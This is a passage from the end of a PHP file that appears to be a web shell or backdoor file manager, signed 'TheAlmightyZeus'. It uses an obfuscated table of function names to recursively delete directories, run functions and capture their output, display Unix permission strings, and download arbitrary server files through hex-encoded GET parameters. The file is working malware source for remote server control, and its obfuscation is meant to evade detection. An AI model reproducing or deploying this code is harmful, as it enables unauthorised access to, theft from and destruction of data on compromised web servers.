								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				©TheAlmightyZeus
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}
?>